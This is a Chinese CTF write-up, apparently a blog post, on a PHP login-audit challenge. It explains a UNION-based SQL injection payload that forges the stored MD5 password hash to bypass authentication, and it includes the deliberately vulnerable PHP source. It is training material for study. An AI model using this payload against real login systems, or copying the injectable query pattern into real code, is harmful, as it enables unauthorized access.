CTF-Web14(涉及PHP代码审计——不走寻常路的绕过)

14.程序逻辑问题

                                          

                                      



分析:

查看源代码:

初了解(可略):
      1.mysql_fetch_array() 中可选的第二个参数 result_type 是一个常量,可以接受以下值:MYSQL_ASSOCMYSQL_NUMMYSQL_BOTH。本特性是 PHP 3.0.7 起新加的。
      2.本参数的默认值是 MYSQL_BOTH。如果用了 MYSQL_BOTH,将得到一个同时包含关联和数字索引的数组。用 MYSQL_ASSOC 只得到关联索引(如同 mysql_fetch_assoc() 那样),用 MYSQL_NUM 只得到数字索引(如同mysql_fetch_row() 那样)。它仅仅返回关联数组。
      3.strcasecmp($pass, $row[pw])二进制安全比较字符串(不区分大小写)。本题要求也就是$pass==$row[pw]

       

        根据源码可以看到两处特别需要重视的地方,我已标红,很明显该sq|语句存在注入漏洞,但是密码栏不能通过一般的注入来绕过,但是可以发现,只要满足了( $row[pw]) && (strcasecmp($pass, $row[pw])就可以拿到flag ,也就是说,我们输入的$pass与从数据库取出来的pw一致就行,但是貌似不知道数据库中pw和user的值,不过我们却可以控制$psas的值,也就是说,我们可以不需要访问题里的数据库,只要我们修改了$sql的值,此题解决。我们可以直接用union select "某一个经过md5加密后的字符串" #来自己随意设定密码,注意这里一定是经过md5加密,不然会出错。


构造语句:  ' and 0=1 union select MD5(1) #     或者:  ' and 0=1 union select "c4ca4238a0b923820dcc509a6f75849b"# 
密码: 1
就拿到flag了。.

(备注:1的md5值是:c4ca4238a0b923820dcc509a6f75849b)

解释:
1. 最前面的单引号:闭合原文的where user='
2. AND 0=1:为了使前面的表达式返回值为空.
3. 接着我们使用UNION SELECT MD5(1),直接把MD5值作为返回值retuen给$sql,这样在查询的时候$query就会有值.
4. 最后的#用来注释掉后面没用的东西

可以本地做个测试,更清楚的说明这个问题:

这里我输入:

Uesrname==>' and 0=1 union select "c4ca4238a0b923820dcc509a6f75849b"# 

Password==>1

补充:

<?php


if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//strcasecmp — 二进制安全比较字符串(不区分大小写)
//和strcmp不同,这里没法通过php弱类型绕过
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
    
  }
?>

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值